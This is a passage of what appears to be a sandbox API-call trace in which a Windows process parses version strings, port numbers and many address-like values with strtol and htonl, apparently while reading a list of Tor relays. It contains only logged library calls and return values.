_EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.885] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.885] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.885] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.885] strtol (in: _Str="0.3.1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.1.5-alpha") returned 0 [0119.885] strtol (in: _Str="3.1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".1.5-alpha") returned 3 [0119.885] strtol (in: _Str="1.5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".5-alpha") returned 1 [0119.885] strtol (in: _Str="5-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 5 [0119.885] htonl (hostlong=0xbcaea4d9) returned 0xd9a4aebc [0119.885] htonl (hostlong=0xd9a4aebc) returned 0xbcaea4d9 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="80", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 80 [0119.885] _errno () returned 0x9f07d8 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="110", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 110 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.885] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.885] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.885] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.885] strtol (in: _Str="0.2.5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.5.14") returned 0 [0119.885] strtol (in: _Str="2.5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".5.14") returned 2 [0119.885] strtol (in: _Str="5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".14") returned 5 [0119.885] strtol (in: _Str="14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 14 [0119.885] htonl (hostlong=0x5d1dfc1b) returned 0x1bfc1d5d [0119.885] htonl (hostlong=0x1bfc1d5d) returned 0x5d1dfc1b [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.885] _errno () returned 0x9f07d8 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="9002", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9002 [0119.885] _errno () returned 0x9f07d8 [0119.885] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.885] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.885] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.885] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.885] strtol (in: _Str="0.2.5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.5.14") returned 0 [0119.885] strtol (in: _Str="2.5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".5.14") returned 2 [0119.886] strtol (in: _Str="5.14", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".14") returned 5 [0119.886] htonl (hostlong=0xbce65bad) returned 0xad5be6bc [0119.886] htonl (hostlong=0xad5be6bc) returned 0xbce65bad [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0xb00a68f0) returned 0xf0680ab0 [0119.886] htonl (hostlong=0xf0680ab0) returned 0xb00a68f0 [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x8b3bd2c6) returned 0xc6d23b8b [0119.886] htonl (hostlong=0xc6d23b8b) returned 0x8b3bd2c6 [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x5e40cdd) returned 0xdd0ce405 [0119.886] htonl (hostlong=0xdd0ce405) returned 0x5e40cdd [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x5545391b) returned 0x1b394555 [0119.886] htonl (hostlong=0x1b394555) returned 0x5545391b [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x3efb594a) returned 0x4a59fb3e [0119.886] htonl (hostlong=0x4a59fb3e) returned 0x3efb594a [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x6d4bb84d) returned 0x4db84b6d [0119.886] htonl (hostlong=0x4db84b6d) returned 0x6d4bb84d [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x3e416b24) returned 0x246b413e [0119.886] htonl (hostlong=0x246b413e) returned 0x3e416b24 [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x5413b29b) returned 0x9bb21354 [0119.886] htonl (hostlong=0x9bb21354) returned 0x5413b29b [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0xd87fad4e) returned 0x4ead7fd8 [0119.886] htonl (hostlong=0x4ead7fd8) returned 0xd87fad4e [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x5dae5d85) returned 0x855dae5d [0119.886] htonl (hostlong=0x855dae5d) returned 0x5dae5d85 [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0xb29dc6bb) returned 0xbbc69db2 [0119.886] htonl (hostlong=0xbbc69db2) returned 0xb29dc6bb [0119.886] _errno () returned 0x9f07d8 [0119.886] htonl (hostlong=0x616b8a44) returned 0x448a6b61 [0119.886] htonl (hostlong=0x448a6b61) returned 0x616b8a44 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0xc15a0c57) returned 0x570c5ac1 [0119.887] htonl (hostlong=0x570c5ac1) returned 0xc15a0c57 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x330f8510) returned 0x10850f33 [0119.887] htonl (hostlong=0x10850f33) returned 0x330f8510 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0xb950de69) returned 0x69de50b9 [0119.887] htonl (hostlong=0x69de50b9) returned 0xb950de69 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0xc1abca92) returned 0x92caabc1 [0119.887] htonl (hostlong=0x92caabc1) returned 0xc1abca92 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x62ceca35) returned 0x35cace62 [0119.887] htonl (hostlong=0x35cace62) returned 0x62ceca35 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x8250edc) returned 0xdc0e2508 [0119.887] htonl (hostlong=0xdc0e2508) returned 0x8250edc [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x9538e98e) returned 0x8ee93895 [0119.887] htonl (hostlong=0x8ee93895) returned 0x9538e98e [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x5ff4ea9) returned 0xa94eff05 [0119.887] htonl (hostlong=0xa94eff05) returned 0x5ff4ea9 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x4132cb05) returned 0x5cb3241 [0119.887] htonl (hostlong=0x5cb3241) returned 0x4132cb05 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x5ded95ca) returned 0xca95ed5d [0119.887] htonl (hostlong=0xca95ed5d) returned 0x5ded95ca [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x5ef2ff70) returned 0x70fff25e [0119.887] htonl (hostlong=0x70fff25e) returned 0x5ef2ff70 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0xab19c184) returned 0x84c119ab [0119.887] htonl (hostlong=0x84c119ab) returned 0xab19c184 [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x67fa49da) returned 0xda49fa67 [0119.887] htonl (hostlong=0xda49fa67) returned 0x67fa49da [0119.887] _errno () returned 0x9f07d8 [0119.887] htonl (hostlong=0x3207b83a) returned 0x3ab80732 [0119.887] htonl (hostlong=0x3ab80732) returned 0x3207b83a [0119.887] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0xdf1a30f8) returned 0xf8301adf [0119.888] htonl (hostlong=0xf8301adf) returned 0xdf1a30f8 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x6abb2565) returned 0x6525bb6a [0119.888] htonl (hostlong=0x6525bb6a) returned 0x6abb2565 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x3ed2f7b2) returned 0xb2f7d23e [0119.888] htonl (hostlong=0xb2f7d23e) returned 0x3ed2f7b2 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x1b057976) returned 0x7679051b [0119.888] htonl (hostlong=0x7679051b) returned 0x1b057976 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x5511a4ac) returned 0xaca41155 [0119.888] htonl (hostlong=0xaca41155) returned 0x5511a4ac [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x6da78aa9) returned 0xa98aa76d [0119.888] htonl (hostlong=0xa98aa76d) returned 0x6da78aa9 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0xc39af27a) returned 0x7af29ac3 [0119.888] htonl (hostlong=0x7af29ac3) returned 0xc39af27a [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x68c883e8) returned 0xe883c868 [0119.888] htonl (hostlong=0xe883c868) returned 0x68c883e8 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0xc09b5365) returned 0x65539bc0 [0119.888] htonl (hostlong=0x65539bc0) returned 0xc09b5365 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x4e2ebdc3) returned 0xc3bd2e4e [0119.888] htonl (hostlong=0xc3bd2e4e) returned 0x4e2ebdc3 [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0xb999c60b) returned 0xbc699b9 [0119.888] htonl (hostlong=0xbc699b9) returned 0xb999c60b [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0xb964553d) returned 0x3d5564b9 [0119.888] htonl (hostlong=0x3d5564b9) returned 0xb964553d [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x3ed25c0b) returned 0xb5cd23e [0119.888] htonl (hostlong=0xb5cd23e) returned 0x3ed25c0b [0119.888] _errno () returned 0x9f07d8 [0119.888] htonl (hostlong=0x92002b7e) returned 0x7e2b0092 [0119.888] htonl (hostlong=0x7e2b0092) returned 0x92002b7e [0119.888] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x51a9de9e) returned 0x9edea951 [0119.889] htonl (hostlong=0x9edea951) returned 0x51a9de9e [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x5099564) returned 0x64950905 [0119.889] htonl (hostlong=0x64950905) returned 0x5099564 [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x330f293d) returned 0x3d290f33 [0119.889] htonl (hostlong=0x3d290f33) returned 0x330f293d [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0xbca5d498) returned 0x98d4a5bc [0119.889] htonl (hostlong=0x98d4a5bc) returned 0xbca5d498 [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x68ec3410) returned 0x1034ec68 [0119.889] htonl (hostlong=0x1034ec68) returned 0x68ec3410 [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x68df7b65) returned 0x657bdf68 [0119.889] htonl (hostlong=0x657bdf68) returned 0x68df7b65 [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0xd4e04eea) returned 0xea4ee0d4 [0119.889] htonl (hostlong=0xea4ee0d4) returned 0xd4e04eea [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x55c3ffcd) returned 0xcdffc355 [0119.889] htonl (hostlong=0xcdffc355) returned 0x55c3ffcd [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x58a1cb2e) returned 0x2ecba158 [0119.889] htonl (hostlong=0x2ecba158) returned 0x58a1cb2e [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x1252011d) returned 0x1d015212 [0119.889] htonl (hostlong=0x1d015212) returned 0x1252011d [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x2eb66abe) returned 0xbe6ab62e [0119.889] htonl (hostlong=0xbe6ab62e) returned 0x2eb66abe [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0xb01ff04e) returned 0x4ef01fb0 [0119.889] htonl (hostlong=0x4ef01fb0) returned 0xb01ff04e [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0x4021b3d6) returned 0xd6b32140 [0119.889] htonl (hostlong=0xd6b32140) returned 0x4021b3d6 [0119.889] _errno () returned 0x9f07d8 [0119.889] htonl (hostlong=0xa3acd932) returned 0x32d9aca3 [0119.889] htonl (hostlong=0x32d9aca3) returned 0xa3acd932 [0119.889] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x58b00c64) returned 0x640cb058 [0119.890] htonl (hostlong=0x640cb058) returned 0x58b00c64 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0xcdcc4513) returned 0x1345cccd [0119.890] htonl (hostlong=0x1345cccd) returned 0xcdcc4513 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x2d3eea87) returned 0x87ea3e2d [0119.890] htonl (hostlong=0x87ea3e2d) returned 0x2d3eea87 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0xc6931652) returned 0x521693c6 [0119.890] htonl (hostlong=0x521693c6) returned 0xc6931652 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x68eca4a1) returned 0xa1a4ec68 [0119.890] htonl (hostlong=0xa1a4ec68) returned 0x68eca4a1 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x9387d128) returned 0x28d18793 [0119.890] htonl (hostlong=0x28d18793) returned 0x9387d128 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x50f4f1fe) returned 0xfef1f450 [0119.890] htonl (hostlong=0xfef1f450) returned 0x50f4f1fe [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x59a38d74) returned 0x748da359 [0119.890] htonl (hostlong=0x748da359) returned 0x59a38d74 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0xc196794e) returned 0x4e7996c1 [0119.890] htonl (hostlong=0x4e7996c1) returned 0xc196794e [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x95d2a4e4) returned 0xe4a4d295 [0119.890] htonl (hostlong=0xe4a4d295) returned 0x95d2a4e4 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0xb1556179) returned 0x796155b1 [0119.890] htonl (hostlong=0x796155b1) returned 0xb1556179 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x5996ae32) returned 0x32ae9659 [0119.890] htonl (hostlong=0x32ae9659) returned 0x5996ae32 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x3ed448f3) returned 0xf348d43e [0119.890] htonl (hostlong=0xf348d43e) returned 0x3ed448f3 [0119.890] _errno () returned 0x9f07d8 [0119.890] htonl (hostlong=0x55c3fc5d) returned 0x5dfcc355 [0119.890] htonl (hostlong=0x5dfcc355) returned 0x55c3fc5d [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x616b8eea) returned 0xea8e6b61 [0119.891] htonl (hostlong=0xea8e6b61) returned 0x616b8eea [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x32740095) returned 0x95007432 [0119.891] htonl (hostlong=0x95007432) returned 0x32740095 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x6883bb2d) returned 0x2dbb8368 [0119.891] htonl (hostlong=0x2dbb8368) returned 0x6883bb2d [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x3ed2cb7e) returned 0x7ecbd23e [0119.891] htonl (hostlong=0x7ecbd23e) returned 0x3ed2cb7e [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0xb00994b0) returned 0xb09409b0 [0119.891] htonl (hostlong=0xb09409b0) returned 0xb00994b0 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x51070efd) returned 0xfd0e0751 [0119.891] htonl (hostlong=0xfd0e0751) returned 0x51070efd [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x53abb946) returned 0x46b9ab53 [0119.891] htonl (hostlong=0x46b9ab53) returned 0x53abb946 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x9701b6d9) returned 0xd9b60197 [0119.891] htonl (hostlong=0xd9b60197) returned 0x9701b6d9 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x68ee880a) returned 0xa88ee68 [0119.891] htonl (hostlong=0xa88ee68) returned 0x68ee880a [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x8ac95c74) returned 0x745cc98a [0119.891] htonl (hostlong=0x745cc98a) returned 0x8ac95c74 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0xc64a3939) returned 0x39394ac6 [0119.891] htonl (hostlong=0x39394ac6) returned 0xc64a3939 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0xb920ddc9) returned 0xc9dd20b9 [0119.891] htonl (hostlong=0xc9dd20b9) returned 0xb920ddc9 [0119.891] _errno () returned 0x9f07d8 [0119.891] htonl (hostlong=0x54f14114) returned 0x1441f154 [0119.891] htonl (hostlong=0x1441f154) returned 0x54f14114 [0119.891] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xd90cca28) returned 0x28ca0cd9 [0119.892] htonl (hostlong=0x28ca0cd9) returned 0xd90cca28 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xd99b2876) returned 0x76289bd9 [0119.892] htonl (hostlong=0x76289bd9) returned 0xd99b2876 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x6c353887) returned 0x8738356c [0119.892] htonl (hostlong=0x8738356c) returned 0x6c353887 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x5c44718) returned 0x1847c405 [0119.892] htonl (hostlong=0x1847c405) returned 0x5c44718 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xb1b69612) returned 0x1296b6b1 [0119.892] htonl (hostlong=0x1296b6b1) returned 0xb1b69612 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x5b868558) returned 0x5885865b [0119.892] htonl (hostlong=0x5885865b) returned 0x5b868558 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x4e8eaf46) returned 0x46af8e4e [0119.892] htonl (hostlong=0x46af8e4e) returned 0x4e8eaf46 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xb23f1b52) returned 0x521b3fb2 [0119.892] htonl (hostlong=0x521b3fb2) returned 0xb23f1b52 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x2d4d3836) returned 0x36384d2d [0119.892] htonl (hostlong=0x36384d2d) returned 0x2d4d3836 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x9e45cc24) returned 0x24cc459e [0119.892] htonl (hostlong=0x24cc459e) returned 0x9e45cc24 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xd8da860c) returned 0xc86dad8 [0119.892] htonl (hostlong=0xc86dad8) returned 0xd8da860c [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x53de90b9) returned 0xb990de53 [0119.892] htonl (hostlong=0xb990de53) returned 0x53de90b9 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0x82b448b2) returned 0xb248b482 [0119.892] htonl (hostlong=0xb248b482) returned 0x82b448b2 [0119.892] _errno () returned 0x9f07d8 [0119.892] htonl (hostlong=0xc7f9e02d) returned 0x2de0f9c7 [0119.892] htonl (hostlong=0x2de0f9c7) returned 0xc7f9e02d [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0xc0a47262) returned 0x6272a4c0 [0119.893] htonl (hostlong=0x6272a4c0) returned 0xc0a47262 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x6d5b12d2) returned 0xd2125b6d [0119.893] htonl (hostlong=0xd2125b6d) returned 0x6d5b12d2 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x480eb70e) returned 0xeb70e48 [0119.893] htonl (hostlong=0xeb70e48) returned 0x480eb70e [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0xb23e1475) returned 0x75143eb2 [0119.893] htonl (hostlong=0x75143eb2) returned 0xb23e1475 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x6f5a91f4) returned 0xf4915a6f [0119.893] htonl (hostlong=0xf4915a6f) returned 0x6f5a91f4 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0xbca6b238) returned 0x38b2a6bc [0119.893] htonl (hostlong=0x38b2a6bc) returned 0xbca6b238 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0xc1d2e65f) returned 0x5fe6d2c1 [0119.893] htonl (hostlong=0x5fe6d2c1) returned 0xc1d2e65f [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x57a61ce2) returned 0xe21ca657 [0119.893] htonl (hostlong=0xe21ca657) returned 0x57a61ce2 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0xc1465ac7) returned 0xc75a46c1 [0119.893] htonl (hostlong=0xc75a46c1) returned 0xc1465ac7 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x4ee030f7) returned 0xf730e04e [0119.893] htonl (hostlong=0xf730e04e) returned 0x4ee030f7 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x4e6befd5) returned 0xd5ef6b4e [0119.893] htonl (hostlong=0xd5ef6b4e) returned 0x4e6befd5 [0119.893] _errno () returned 0x9f07d8 [0119.893] htonl (hostlong=0x5f5c7fde) returned 0xde7f5c5f [0119.893] htonl (hostlong=0xde7f5c5f) returned 0x5f5c7fde [0119.947] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x59231d13) returned 0x131d2359 [0119.948] htonl (hostlong=0x131d2359) returned 0x59231d13 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0xa3aca9fd) returned 0xfda9aca3 [0119.948] htonl (hostlong=0xfda9aca3) returned 0xa3aca9fd [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x9fcb5aae) returned 0xae5acb9f [0119.948] htonl (hostlong=0xae5acb9f) returned 0x9fcb5aae [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x5391f1e7) returned 0xe7f19153 [0119.948] htonl (hostlong=0xe7f19153) returned 0x5391f1e7 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x4dcb0d39) returned 0x390dcb4d [0119.948] htonl (hostlong=0x390dcb4d) returned 0x4dcb0d39 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x6c22b103) returned 0x3b1226c [0119.948] htonl (hostlong=0x3b1226c) returned 0x6c22b103 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x2d20cfac) returned 0xaccf202d [0119.948] htonl (hostlong=0xaccf202d) returned 0x2d20cfac [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x41b7da59) returned 0x59dab741 [0119.948] htonl (hostlong=0x59dab741) returned 0x41b7da59 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x57766690) returned 0x90667657 [0119.948] htonl (hostlong=0x90667657) returned 0x57766690 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x5bd5e98a) returned 0x8ae9d55b [0119.948] htonl (hostlong=0x8ae9d55b) returned 0x5bd5e98a [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x509fdea) returned 0xeafd0905 [0119.948] htonl (hostlong=0xeafd0905) returned 0x509fdea [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x3e2db2a9) returned 0xa9b22d3e [0119.948] htonl (hostlong=0xa9b22d3e) returned 0x3e2db2a9 [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0xbca500ab) returned 0xab00a5bc [0119.948] htonl (hostlong=0xab00a5bc) returned 0xbca500ab [0119.948] _errno () returned 0x9f07d8 [0119.948] htonl (hostlong=0x53f8547b) returned 0x7b54f853 [0119.949] htonl (hostlong=0x7b54f853) returned 0x53f8547b [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x6baa711c) returned 0x1c71aa6b [0119.949] htonl (hostlong=0x1c71aa6b) returned 0x6baa711c [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x9f94baa2) returned 0xa2ba949f [0119.949] htonl (hostlong=0xa2ba949f) returned 0x9f94baa2 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x5c2a6aa3) returned 0xa36a2a5c [0119.949] htonl (hostlong=0xa36a2a5c) returned 0x5c2a6aa3 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x73bc8af2) returned 0xf28abc73 [0119.949] htonl (hostlong=0xf28abc73) returned 0x73bc8af2 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x68ec2e0a) returned 0xa2eec68 [0119.949] htonl (hostlong=0xa2eec68) returned 0x68ec2e0a [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x2e2630e1) returned 0xe130262e [0119.949] htonl (hostlong=0xe130262e) returned 0x2e2630e1 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x5b3f3c0f) returned 0xf3c3f5b [0119.949] htonl (hostlong=0xf3c3f5b) returned 0x5b3f3c0f [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x5413b3e5) returned 0xe5b31354 [0119.949] htonl (hostlong=0xe5b31354) returned 0x5413b3e5 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0xc1c9e12d) returned 0x2de1c9c1 [0119.949] htonl (hostlong=0x2de1c9c1) returned 0xc1c9e12d [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x26834a0) returned 0xa0346802 [0119.949] htonl (hostlong=0xa0346802) returned 0x26834a0 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x59bc6dd2) returned 0xd26dbc59 [0119.949] htonl (hostlong=0xd26dbc59) returned 0x59bc6dd2 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0xc0a21a19) returned 0x191aa2c0 [0119.949] htonl (hostlong=0x191aa2c0) returned 0xc0a21a19 [0119.949] _errno () returned 0x9f07d8 [0119.949] htonl (hostlong=0x2d3a3c7f) returned 0x7f3c3a2d [0119.949] htonl (hostlong=0x7f3c3a2d) returned 0x2d3a3c7f [0119.949] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x6bbf2ecc) returned 0xcc2ebf6b [0119.950] htonl (hostlong=0xcc2ebf6b) returned 0x6bbf2ecc [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x34a94ae3) returned 0xe34aa934 [0119.950] htonl (hostlong=0xe34aa934) returned 0x34a94ae3 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x9e4525d5) returned 0xd525459e [0119.950] htonl (hostlong=0xd525459e) returned 0x9e4525d5 [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x18234d9b) returned 0x9b4d2318 [0119.950] htonl (hostlong=0x9b4d2318) returned 0x18234d9b [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x5bedf43e) returned 0x3ef4ed5b [0119.950] htonl (hostlong=0x3ef4ed5b) returned 0x5bedf43e [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl (hostlong=0x2530782f) returned 0x2f783025 [0119.950] htonl (hostlong=0x2f783025) returned 0x2530782f [0119.950] _errno () returned 0x9f07d8 [0119.950] htonl 